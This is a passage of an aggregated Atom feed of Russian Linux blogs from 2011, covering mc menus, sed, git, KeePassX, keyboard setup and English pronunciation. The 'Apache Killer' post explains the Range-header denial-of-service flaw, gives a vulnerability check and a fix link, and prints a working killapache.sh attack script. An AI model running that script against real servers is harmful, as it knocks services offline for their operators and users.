<p>Первый символ «=» означает начало условия, при котором пункт меню становится активным по умолчанию (при вызове меню курсор уже стоит на этом пункте, так что остаётся только нажать Enter); если перед ним стоит +, то пункт появляется в меню только при выполнении этого условия. Следующий символ — тип условия, например:</p>
<ul>
<li><b>f шаблон</b> — имя файла соответствует шаблону (если в начале файла меню не указана опция shell_patterns=0, то под шаблоном имеется в виду шелл-шаблон, в противном случае — регулярное выражение)</li>
<li><b>d шаблон</b> — текущий каталог соответствует шаблону</li>
<li><b>t type</b> — то, что под курсором, имеет тип:
<ul>
<li>n не является директорией</li>
<li>r обычный файл</li>
<li>d каталог</li>
<li>l ссылка</li>
<li>c последовательное устройство</li>
<li>b блочное устройство</li>
<li>f FIFO</li>
<li>s сокет</li>
<li>x исполняемый файл</li>
<li>t отмеченный файл</li>
</ul>
<p>Различные типы можно комбинировать, например, <code>t rdl</code> означает файл, каталог или ссылку</p></li>
<li>остальные тесты можно подсмотреть в упомянутой справке</li>
</ul>
<p>Условия можно комбинировать и объединять, например:</p>
<pre># если находимся в папке /home/sites/sitename и под курсором — файл .sql, показать этот пункт меню
+= d /home/sites/site_name &amp; f *.sql
S import sql-file to database sitedb
   mysql sitedb &lt; %f
</pre>
<p>Таким образом, приведенный  ранее кусок означает «если находимся в каталоге сайта или стоим на конфигурационном файле apache для него, показать команду перезапуска сервера и встать на нее курсором». </p>
<p>Остальное — дело фантазии и техники. Достаточно подумать о том, какие рутинные действия выполняются достаточно часто, и просто автоматизировать их.</p><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/zBfcKIrEGNc" height="1" width="1" /></div></summary>
    <updated>2011-09-08T13:31:42Z</updated>
    <category term="linux" />
    <category term="mc" />
    <category term="tips" />
    <author>
      <name>bappoy</name>
    </author>
    <source>
      <id>http://bappoy.pp.ru</id>
      <link href="http://bappoy.pp.ru/tag/linux/feed" rel="self" type="application/atom+xml" />
      <link href="http://bappoy.pp.ru" rel="alternate" type="text/html" />
      <subtitle>Линуксоид на велосипеде с моторчиком</subtitle>
      <title>Bappoy's blog » linux</title>
      <updated>2012-02-06T08:31:19Z</updated>
    </source>
  </entry>

  <entry>
    <id>urn:lj:livejournal.com:atom1:k001:818164</id>
    <link href="http://k001.livejournal.com/818164.html" rel="alternate" type="text/html" />
    <link href="http://k001.livejournal.com/data/atom/?itemid=818164" rel="self" type="text/xml" />
    <title>sed -i wrt symlinks</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Оказалось, что <code>sed -i</code>, применённый к симлинку, делает из симлинка файл. А если этот симлинк -- <code>/etc/grub.conf</code>, который смотрит в <code>/boot/grub/grub.conf</code>, то потом на CentOS новые ядра не ставятся...<br /><br />Чтобы этого не происходило, надо говорить <code>sed -i -c</code>.<br /><br />Вот такая приключилась.<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/ieYOI8YG9z4" height="1" width="1" /></div></content>
    <updated>2011-09-05T15:59:09Z</updated>
    <published>2011-09-05T15:59:09Z</published>
    <category term="linux" />
    <category term="howto" />
    <category term="wtf" />
    <source>
      <id>urn:lj:livejournal.com:atom1:k001</id>
      <author>
        <name>Kir Kolyshkin</name>
      </author>
      <link href="http://k001.livejournal.com/" rel="alternate" type="text/html" />
      <link href="http://k001.livejournal.com/data/atom" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Kir Kolyshkin</subtitle>
      <title>Kir Kolyshkin</title>
      <updated>2011-09-28T21:58:40Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-1630899989770756879.post-9080509184372514193</id>
    <link href="http://www.eugeniavlasova.info/feeds/9080509184372514193/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://www.eugeniavlasova.info/2011/08/blog-post.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/1630899989770756879/posts/default/9080509184372514193?v=2" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/1630899989770756879/posts/default/9080509184372514193?v=2" rel="self" type="application/atom+xml" />
    <link href="http://feedproxy.google.com/~r/Paradigma/~3/mDwdWaxCJ24/blog-post.html" rel="alternate" type="text/html" />
    <title>Русский акцент</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><div>Век учись — дураком помрёшь. Я, как и большинство русских, полагала, что русский акцент заключается, в основном, в более твёрдом произношении согласных. И, разумеется, в пресловутом rolled r. Выяснилось, однако, что англоязычное ухо плохо различает твёрдые и мягкие согласные, потому как в английском критерий твёрдости/мягкости не является важным, а раскатистую заднеязычную Р считает скорее признаком латиноамериканского, нежели русского акцента. Никто в школе не объяснил мне, что русских вычисляют по нашим специфическим гласным, точнее, по нашей неспособности различать открытые/закрытые и долгие/краткие гласные. Мы склонны произносить все гласные очень открыто и примерно на одном уровне подъема, тогда как для носителей английского языка гласный в слове «dress» звучит совсем не так, как в слове «trap», и «lot» сильно отличается от thought.<br />
<br />
В статье <a href="http://phonetic-blog.blogspot.com/2011/06/russian-english.html">Russian English</a> фонетист Джон Уэлл поделился наблюдениями над особенностями русского произношения. Он съездил в Санкт-Петербург, где русские гиды, прекрасно образованные и владеющие английским на достойном уровне, водили его любоваться красотами Северной столицы. Профессиональный слух не оставляет настоящего лингвиста даже на каникулах, и в результате появилась любопытная и полезная во всех отношениях статья. Среди его замечаний есть только одно упоминание согласных — и то не в отношении мягкости-твердости, а в отношении привычки русских делать согласные на стыке слов звонкими (напр. в словосочетании «art dealer» в нашем варианте произношения обе согласные становятся чистым [d]). Все остальные претензии относятся к гласным и интонациям. <br />
<br />
Подробнее об этом рассказала Ребекка Линкист в презентации, специально подготовленной для русских, пытающихся избавиться от акцента. Её советы были для меня во многом неожиданными: <br />
<br />
&lt;iframe allowfullscreen="allowfullscreen" frameborder="0" height="326" src="http://www.youtube.com/embed/sJZw0fuJOVc" width="510"&gt;&lt;/iframe&gt;<br />
<br />
И напоследок Тим Кёрби расскажет вам, что ему кажется смешным и неправильным в нашем произношении и научит правильно ругаться по-английски: <br />
<br />
&lt;iframe allowfullscreen="allowfullscreen" frameborder="0" height="326" src="http://www.youtube.com/embed/YZspl8T6-0U" width="510"&gt;&lt;/iframe&gt;<br />
</div><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/1630899989770756879-9080509184372514193?l=www.eugeniavlasova.info" width="1" /></div><img height="1" src="http://feeds.feedburner.com/~r/Paradigma/~4/mDwdWaxCJ24" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/GLXrrr-_mwg" height="1" width="1" /></div></content>
    <updated>2011-08-31T04:13:00Z</updated>
    <published>2011-08-31T04:13:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="accent" />
    <category scheme="http://www.blogger.com/atom/ns#" term="английский" />
    <category scheme="http://www.blogger.com/atom/ns#" term="education" />
    <category scheme="http://www.blogger.com/atom/ns#" term="произношение" />
    <category scheme="http://www.blogger.com/atom/ns#" term="English" /><feedburner:origLink xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://www.eugeniavlasova.info/2011/08/blog-post.html</feedburner:origLink>
    <author>
      <name>Eugenia Vlasova</name>
      <email>noreply@blogger.com</email>
      <uri>https://profiles.google.com/116065318221900299476</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-1630899989770756879</id>
      <category term="публикации" />
      <category term="английский" />
      <category term="орфография" />
      <category term="education" />
      <category term="русский язык" />
      <category term="English" />
      <category term="accent" />
      <category term="мысли вслух" />
      <category term="LG" />
      <category term="образование" />
      <category term="перевод" />
      <category term="произношение" />
      <category term="smartphone" />
      <category term="Android" />
      <category term="hardware" />
      <author>
        <name>Eugenia Vlasova</name>
        <email>noreply@blogger.com</email>
        <uri>https://profiles.google.com/116065318221900299476</uri>
      </author>
      <link href="http://www.eugeniavlasova.info/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.eugeniavlasova.info/" rel="alternate" type="text/html" />
      <link href="http://www.blogger.com/feeds/1630899989770756879/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" rel="next" type="application/atom+xml" />
      <link href="http://feeds.feedburner.com/Paradigma" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Блог Евгении Власовой о компьютерах, гаджетах, девайсах и виртуальной жизни</subtitle>
      <title>Paradigma</title>
      <updated>2011-12-02T12:41:00Z</updated>
    </source>
  </entry>

  <entry>
    <id>http://sanmai.livejournal.com/1016436.html</id>
    <link href="http://sanmai.livejournal.com/1016436.html" rel="alternate" type="text/html" />
    <title>Apache Killer и с чем его едят</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><img border="0" height="216" src="http://pics.livejournal.com/sanmai/pic/006tkykh" width="323" /><br /><br /><br /><br />Буквально пять дней назад в листе рассылки Full Disclosure появился скрипт, по заявлянию автора, убивающий Apache начиная от самых старых версий до самых новых. <br /><br /><a name="cutid1" />И он действительно работает как обещано:<br /><a href="http://seclists.org/fulldisclosure/2011/Aug/175">http://seclists.org/fulldisclosure/2011/Aug/175</a><br /><br />Скрипт запускает в несколько десятков потоков простой запроc:<br /><pre>HEAD / HTTP/1.1
Host: www.example.com
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,<small>&lt;...&gt;</small>,5-1299,5-1300
Accept-Encoding: gzip
Connection: close</pre><br />В ответ на такой запрос Apache собирает в памяти длинный ответ из перекрывающихся кусков запрошенного файла, который может занять заначительный объём памяти. При этом потрябление памяти Apache начинает резко расти, как на том графике в начале поста, что при должном количестве запросов призывает OOM Killer и приводит к DoS.<br /><br />Разработчики Apache <a href="http://www.gossamer-threads.com/lists/apache/dev/401638">подошли к этой проблеме серьёзно</a>, инициативные лица уже <a href="http://trac.tools.ietf.org/wg/httpbis/trac/ticket/311">предложили изменения в RFC2616</a>, закрывающие эту уязвимостью. Тем временем все сервера стоят открыты и не защищены. Как нам быть?<br /><br />Если у вас перед Apache стоит nginx, то можно вообще ничего не делать, даже если статические файлы, для которых возможны описанные выше запросы, не раздаёт nginx. Проверить, уязвим ли ваш сервер к этой атаке можно так:<br /><br /><pre>curl -I -H "Range: bytes=0-1,0-2" -s http://www.example.com/test.bin | grep Partial</pre><br />Если этот тип файлов отдаёт Apache <b>и</b> вы видите <tt>206 Partial Content</tt>, значит быть беде. Nginx в последних версиях этой проблеме не подвержен.<br /><br />Если у вас во внешний мир Apache смотрит напрямую... <a href="http://mail-archives.apache.org/mod_mbox/httpd-announce/201108.mbox/%3C20110824161640.122D387DD@minotaur.apache.org%3E">Решение есть!</a><br /><br /><p align="right">Обсуждение на хабре:<br /><a href="http://habrahabr.ru/blogs/infosecurity/127029/">http://habrahabr.ru/blogs/infosecurity/127029/</a></p><br /><br /><b>Update:</b> killapache.sh<br /><pre>#!/bin/bash
test "$1" == "" &amp;&amp; echo $0 requests threads target-url &amp;&amp; exit 0
seq 1 $1 | xargs -I{} -P $2 curl -I -H "User-Agent:" \
-H "Range: bytes=0-`printf ',5-%d' {10..1000}`" \
--compress -s $3 | grep HTTP</pre><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/M3GAYVXolHg" height="1" width="1" /></div></summary>
    <updated>2011-08-25T05:30:10Z</updated>
    <category term="useful" />
    <category term="linux" />
    <category term="apache2" />
    <category term="nginx" />
    <source>
      <id>http://sanmai.livejournal.com/</id>
      <logo>http://l-userpic.livejournal.com/52072895/1593871</logo>
      <link href="http://sanmai.livejournal.com/" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://sanmai.livejournal.com/data/rss?tag=linux" rel="self" type="application/atom+xml" />
      <subtitle>SANMAI 三昧 - LiveJournal.com</subtitle>
      <title>SANMAI 三昧</title>
      <updated>2011-09-13T16:00:14Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-714401349429107137.post-5602354742471903945</id>
    <link href="http://drakulavich.blogspot.com/feeds/5602354742471903945/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://drakulavich.blogspot.com/2011/08/keepass.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/714401349429107137/posts/default/5602354742471903945" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/714401349429107137/posts/default/5602354742471903945" rel="self" type="application/atom+xml" />
    <link href="http://drakulavich.blogspot.com/2011/08/keepass.html" rel="alternate" type="text/html" />
    <title>Адреса, пароли, явки и двойственное название KeePass</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">В начале 2010-го года на хабре провели <a href="http://habrahabr.ru/blogs/infosecurity/79988/">опрос</a>, связанный с количеством используемых паролей у респондентов. Большинство (<i>&gt; 70%</i>) остановилось на варианте «2-3 пароля разного уровня стойкости». Когда-то мой ответ был таким же, но сейчас я предпочитаю для каждой регистрации генерировать новый пароль. И дело вовсе не в паранойе. Когда ты регулярно посещаешь десяток ресурсов — это одно, а когда количество аккаунтов переваливает за число X, возникают разного рода неудобства. В итоге я пришёл к выводу, что от запоминания паролей веет пережитком старины. Напрашивается аналогия с телефонными номерами. Если вы общаетесь с малым кругом людей, запомнить их номера не составит труда. С сотней контактов такой фокус не пройдёт, поэтому мы и ведём телефонную книгу.<a name="more" /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-8-6h2RL2UyU/TlTfuuLicFI/AAAAAAAASf0/qaHnRYd22sc/s1600/pass_votes.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-8-6h2RL2UyU/TlTfuuLicFI/AAAAAAAASf0/qaHnRYd22sc/s580/pass_votes.png" /></a></div><br />Каким образом происходит идентификация пользователя? Авторизация на большинстве сайтов осуществляется по адресу электронной почты и паролю. В последнее время становится все больше сервисов, где вход можно выполнить и через Твиттер/Фейсбук. Но даже на таких ресурсах я часто остаюсь верен «дедовскому» методу login+pass, потому что разработчики любят спамить в социальные сети от моего имени, в общем ведут себя не по-джентльменски. <br /><br />Возникает вопрос, как организовать работу с большим массивом секретных фраз. К счастью, о нас позаботились. Аналогом телефонной книги в мире приватных данных является менеджер паролей. Программ подобного плана хватает с избытком. Есть два варианта: либо носить зашифрованную базу данных с собой, либо довериться добрым дядям и хранить секреты online. На самом деле не всё так категорично, есть и комбинации этих вариантов. Я сижу сразу на двух стульях, если можно так выразится. <br /><br />Для повседневных задач мне хватает <a href="https://lastpass.com/">LastPass</a>. Он хранит данные где-то в облаках и благодаря плагинам для браузеров позволяет легко и непринуждённо заполнять необходимые поля. Самые сокровенные тайны я хочу контролировать самостоятельно, поэтому держу на компьютере <a href="http://www.keepassx.org/"><b>KeePassX</b></a> — кроссплатформенный форк <code>KeePass</code> с интерфейсом на Qt. Почему именно этот менеджер? Открытый, свободный и проверенный временем продукт. <br /><br /><b><span class="Apple-style-span" style="font-size: large;">Установка и использование</span></b><br />Программа присутствует в стандартных репозиториях Ubuntu. По заказу появится и у вас:<br /><pre style="border: 1px dashed #999999; padding: 5px;">sudo aptitude install keepassx</pre><br />После первого запуска предложат создать базу паролей и придумать мастер-пароль (не жалейте фантазии и памяти на него). Для паранойиков оставили возможность создать специальный файл-ключ. Затем по накатанной: делите пароли на категории и создаёте соответствующие записи. Файл с паролями имеет расширение <i>*.kdb</i>. Для пущего удобства рекомендую синхронизировать его через вездесущий <code>Dropbox</code>.<br /><br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-0a5ZA4X8faQ/TlTgCYLeM7I/AAAAAAAASf4/DHdpLjFRwxU/s1600/keepassx-main.png" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://3.bp.blogspot.com/-0a5ZA4X8faQ/TlTgCYLeM7I/AAAAAAAASf4/DHdpLjFRwxU/s580/keepassx-main.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Главное окно KeePassX</td></tr>
</tbody></table><br />С Большим Братом разобрались, а как поступить с мобильными устройствами? <code>Lastpass</code> делает плагины и для смартфонов, правда, доступны они при наличии premium аккаунта (месячная  подписка обойдётся в 1$). Мне по душе связка <a href="https://market.android.com/details?id=com.android.keepass">KeePassDroid</a> и <a href="https://market.android.com/details?id=com.dropbox.android">Dropbox</a>. Что называется, дёшево и сердито :-) Если честно, второй способ показался даже сподручнее первого, потому что <code>LastPass</code> на Андроиде плодит сущности, добавляя дополнительный браузер с функциями автозаполнения полей.<br /><br /><b><span class="Apple-style-span" style="font-size: large;">Напоследок</span></b><br />Надеюсь, после прочтения сумбурного рассказа кто-нибудь из читателей задумается о переходе на менеджер паролей. И кто знает, вдруг он останется доволен...<div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/714401349429107137-5602354742471903945?l=drakulavich.blogspot.com" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/2ssAmV-MMYg" height="1" width="1" /></div></content>
    <updated>2011-08-24T11:33:00Z</updated>
    <published>2011-08-24T11:33:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="service" />
    <category scheme="http://www.blogger.com/atom/ns#" term="решения" />
    <category scheme="http://www.blogger.com/atom/ns#" term="runix" />
    <category scheme="http://www.blogger.com/atom/ns#" term="android" />
    <author>
      <name>Dr.AKULAvich</name>
      <email>noreply@blogger.com</email>
      <uri>http://www.blogger.com/profile/10567533341020480269</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-714401349429107137</id>
      <category term="linux" />
      <category term="mobile" />
      <category term="runix" />
      <category term="ассоциации" />
      <category term="news" />
      <category term="интервью" />
      <category term="ниочем" />
      <category term="образование" />
      <category term="gtk" />
      <category term="games" />
      <category term="service" />
      <category term="абзац" />
      <category term="openoffice" />
      <category term="gnome" />
      <category term="цитаты" />
      <category term="htpc" />
      <category term="android" />
      <category term="blogger" />
      <category term="шутка юмора" />
      <category term="дистрибутив" />
      <category term="python" />
      <category term="сравнение" />
      <category term="internet" />
      <category term="script" />
      <category term="soft" />
      <category term="решения" />
      <category term="ubuntu" />
      <category term="opera" />
      <category term="google" />
      <category term="sh" />
      <author>
        <name>Dr.AKULAvich</name>
        <email>noreply@blogger.com</email>
        <uri>http://www.blogger.com/profile/10567533341020480269</uri>
      </author>
      <link href="http://drakulavich.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.blogger.com/feeds/714401349429107137/posts/default/-/runix" rel="self" type="application/atom+xml" />
      <link href="http://drakulavich.blogspot.com/search/label/runix" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://www.blogger.com/feeds/714401349429107137/posts/default/-/runix/-/runix?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <subtitle>НеБЛОГонадёжные заметки шулера</subtitle>
      <title>♠ Краплёная колода</title>
      <updated>2012-01-20T14:24:14Z</updated>
    </source>
  </entry>

  <entry>
    <id>urn:lj:livejournal.com:atom1:k001:816836</id>
    <link href="http://k001.livejournal.com/816836.html" rel="alternate" type="text/html" />
    <link href="http://k001.livejournal.com/data/atom/?itemid=816836" rel="self" type="text/xml" />
    <title>A way of a key, or how I achieved success configuring multimedia keys on my keyboard</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">When I bought a new keyboard last week and those multimedia/internet keys were not working as expected, I learned a bit too much about how a key press event goes all the way from the hardware to the Linux kernel to X11. Actually, much more than I even wanted to know. I do not believe in humanity any more. Well, time will definitely heal me, but let me share the information I found before I forgot it for good.<br /><br />My distro is Fedora 14, kernel 2.6.35, Xorg-1.9.5, xkeyboard-config 1.9. Desktop environment is XFCE 4.6. My new keyboard is Genius SlimStar 320. I use quite an old Logitech Trackball ("Cordless TrackMan FX, T-RA17) as a primary way to control on-screen pointer. This trackball was produced before mouse scroll wheels became a commodity so it lacks one. Fortunately the keyboard is equipped with a four-way " turbo scroll" button which in reality is just a circular four-key button.<br /><br />Here comes the first problem: keyboard sends very unusual scancodes for most of the multimedia keys. For example, the "turbo scroll" sends codes 495 to 498. Most of the other multimedia keys send similar codes for example 499 (for "Presentation" key) or 506 (for "Yahoo Messenger" key). You can see those using 'showkey' utility from the 'kdb' package (make sure to run in from a text terminal, i.e. not from X Window).<br /><br />Fortunately, every problem in computing can be solved by introducing an additional abstraction level (unfortunately, the problem of too many abstraction levels can't be solved using this method -- but this is out of scope of this blog entry). Now, the kernel already maps raw scan codes from the keyboard to so called key codes. We need to modify this table to map the multimedia key scancodes to more appropriate (more standard) key codes. As usual in UNIX systems, there are many ways to achieve that, but it looks like the preferred way of the day is to use udev 'keymaps' extension. Whenever udev sees a particular keyboard model (identified by USB vendor_id and product_id numbers) appearing in the system, it can apply a particular map for this keyboard. For key code names used in udev keymaps, see /usr/include/linux/input.h (look for #define KEY_* macros). To make a long story short for a busy reader, here (<a href="http://kan.gd/x9q">http://kan.gd/x9q</a>) Is my patch to udev which fixes the bad key codes for my keyboard.<br /><br />After using this one, some keys (like 'screenlock') started to work in XFCE, while some others were still dead. Well, not completely dead -- you can see the new codes using showkey, or, yet better, evtest utility. Next problem lies in the next level of abstraction called xkb (X Keyboard Extension).<br /><br />First of all, due to someone thinking there will never be more than 256 keys, a keycode is one-byte, so values above 255 are not supported, X Window just can not see those. OK, this can be kludged by using codes in the range 1-255 in the above (udev keymap) step. But you still can see those that are within the one byte range -- use evdev utility for that. XKB translates the keycode into internal key name (such as I24 or K6C -- such translation is (mostly) defined in XKB's /usr/share/X11/xkb/keycodes/xfree86 file) and then into X11 key event name (which, for a multimedia key, is as cool as XF86AudioRaiseVolume or XF86ScrollUp -- such translation is (mostly) defined in XKB's /usr/share/X11/xkb/keymap/inet).<br /><br />Now, you can assume that if you see keypress events with such descriptive key names you are all set. Hold on...<br /><br />Next thing is to make your system react to those keys. In XFCE, go to Preferences -&gt; Keyboard and select the Application Shortcuts tab. You will see quite a few key bindings already set for you, for example XF86WWW opens a web browser. While at it, you can learn some handy key combos for you.<br /><br />Please note that if you are going to use keys to control volume, XFCE configures aumix for XF86AudioRaiseVolume and ...LowerVolume. First, aumix is not installed, but even if installed it can't deal with the default PulseAudio mixer configured in Fedora 14. The fix is to use amixer instead, here are the relevant commands (you can try if it works for you from the command line and adjust accordingly):<br /><br />Raise: amixer -q set Master 2%+ unmute<br />Lower: amixer q set Master 2% unmute<br />Mute: amixer -q set Master toggle<br /><br />Next thing is, in order for scrolling (XF86ScrollUp and ...Down) to work, you need something very kludgy -- transform keyboard events into mouse events. Again, there is more one way of doing it; I used the xte tool (from the package of the same name). Here are the relevant rules:<br /><br />XF86ScrollUp: xte 'mouseclick 4'<br />XF86ScrollDown: xte 'mouseclick 5'<br /><br />If you are not an XFCE user, you can use xbindkeys for the same purpose.<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/6GyFvXLvvB4" height="1" width="1" /></div></content>
    <updated>2011-08-23T11:55:31Z</updated>
    <published>2011-08-23T11:55:31Z</published>
    <category term="linux" />
    <category term="howto" />
    <category term="english" />
    <category term="wtf" />
    <category term="homemade" />
    <source>
      <id>urn:lj:livejournal.com:atom1:k001</id>
      <author>
        <name>Kir Kolyshkin</name>
      </author>
      <link href="http://k001.livejournal.com/" rel="alternate" type="text/html" />
      <link href="http://k001.livejournal.com/data/atom" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Kir Kolyshkin</subtitle>
      <title>Kir Kolyshkin</title>
      <updated>2011-09-28T21:58:40Z</updated>
    </source>
  </entry>

  <entry>
    <id>http://sanmai.livejournal.com/1016025.html</id>
    <link href="http://sanmai.livejournal.com/1016025.html" rel="alternate" type="text/html" />
    <title>Git: забыть всё, или свёртываем всю историю в один коммит</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Иногда бывает нужно свернуть всю историю какого-то репозитария в один коммит. В этом случае <tt>git rebase -i</tt> не подходит, потому что от него останется два коммита, первый и последний.<br />На помощь нам приходит <a name="cutid1" />низкоуровневая команда <tt>git-commit-tree</tt>.<br /><br />Для начала скопируем целевой репозитарий куда-нибудь, просто на всякий случай:<br /><pre>$ git clone Project NewProject</pre>Действуем:<br /><pre>$ cd NewProject
$ git reset `echo "начало работы над новым проектом" | git commit-tree HEAD^{tree}`
$ git gc --prune</pre>По желанию сообщение можно заменить на любое другое подходящее. <br />Проверяем:<br /><pre>$ git log
commit bc1f1192112cc1c8141e1efdc0601c7bb67d5aa0
Author: You 
Date:   Tue Aug 16 21:40:00 2011 +0900

    начало работы над новым проектом</pre>Вот и всё!<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/epF14549QfA" height="1" width="1" /></div></summary>
    <updated>2011-08-16T07:30:12Z</updated>
    <category term="useful" />
    <category term="linux" />
    <category term="git" />
    <source>
      <id>http://sanmai.livejournal.com/</id>
      <logo>http://l-userpic.livejournal.com/115546372/1593871</logo>
      <link href="http://sanmai.livejournal.com/" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://sanmai.livejournal.com/data/rss?tag=linux" rel="self" type="application/atom+xml" />
      <subtitle>SANMAI 三昧 - LiveJournal.com</subtitle>
      <title>SANMAI 三昧</title>
      <updated>2012-02-01T21:00:10Z</updated>
    </source>
  </entry>

  <entry>
    <id>http://my.opera.com/Zl0/blog/34058142</id>
    <link href="http://my.opera.com/Zl0/blog/show.dml/34058142" rel="alternate" type="text/html" />
    <title type="xhtml" xml:lang="ru"><div xmlns="http://www.w3.org/1999/xhtml">Mailman - найдется все. Полнотекстовый поиск по рассылке.</div>
    </title>
    <content type="xhtml" xml:lang="ru"><div xmlns="http://www.w3.org/1999/xhtml">Mailman является одной из самых популярных служб почтовой рассылки.<br />Просто потому что он легок в установке и настройке, а так же проверен<br />временем и людьми. Но при этом он совсем не является самым лучшим, т.к<br />имеет несколько минусов по сравнению с той же Sympa, один из них это отсутствие<br />поиска по архиву.<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/GerDd2Ow1qc" height="1" width="1" /></div></content>
    <updated>2011-08-15T13:22:17Z</updated>
    <author>
      <name />
    </author>
    <source>
      <id>http://my.opera.com/Zl0/blog/</id>
      <author>
        <name>Zl0</name>
      </author>
      <link href="http://my.opera.com/Zl0/" rel="alternate" type="text/html" />
      <link href="http://my.opera.com/Zl0/xml/atom/blog" rel="self" type="application/atom+xml" />
      <subtitle type="xhtml" xml:lang="ru"><div xmlns="http://www.w3.org/1999/xhtml">не ломается у того, кто ничего не делает...</div>
      </subtitle>
      <title type="xhtml" xml:lang="ru"><div xmlns="http://www.w3.org/1999/xhtml">Tips &amp; Triks</div>
      </title>
      <updated>2011-08-15T13:22:17Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-1768659949044972261.post-8267675529902043108</id>
    <link href="http://maximum-value.blogspot.com/feeds/8267675529902043108/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://www.blogger.com/comment.g?blogID=1768659949044972261&amp;postID=8267675529902043108" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/1768659949044972261/posts/default/8267675529902043108" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/1768659949044972261/posts/default/8267675529902043108" rel="self" type="application/atom+xml" />
    <link href="http://maximum-value.blogspot.com/2011/08/linux_13.html" rel="alternate" type="text/html" />
    <title>Квота на директорию в Linux</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">fusequota: <a href="http://code.google.com/p/fusequota/">http://code.google.com/p/fusequota/</a><br />PKGBUILD для Arch Linux: <a href="http://aur.archlinux.org/packages.php?ID=51489">http://aur.archlinux.org/packages.php?ID=51489</a><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/1768659949044972261-8267675529902043108?l=maximum-value.blogspot.com" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/9VaajOLziac" height="1" width="1" /></div></content>
    <updated>2011-08-13T10:40:00Z</updated>
    <published>2011-08-13T10:40:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="archlinux" />
    <category scheme="http://www.blogger.com/atom/ns#" term="fuse" />
    <category scheme="http://www.blogger.com/atom/ns#" term="linux" />
    <category scheme="http://www.blogger.com/atom/ns#" term="unix" />
    <author>
      <name>GiNeR</name>
      <email>noreply@blogger.com</email>
      <uri>http://www.blogger.com/profile/05230667281798145205</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-1768659949044972261</id>
      <category term="mobile" />
      <category term="habrahabr" />
      <category term="package" />
      <category term="display" />
      <category term="web" />
      <category term="bug" />
      <category term="sberbank" />
      <category term="beeline" />
      <category term="privacy" />
      <category term="dokuwiki" />
      <category term="lvm" />
      <category term="open source" />
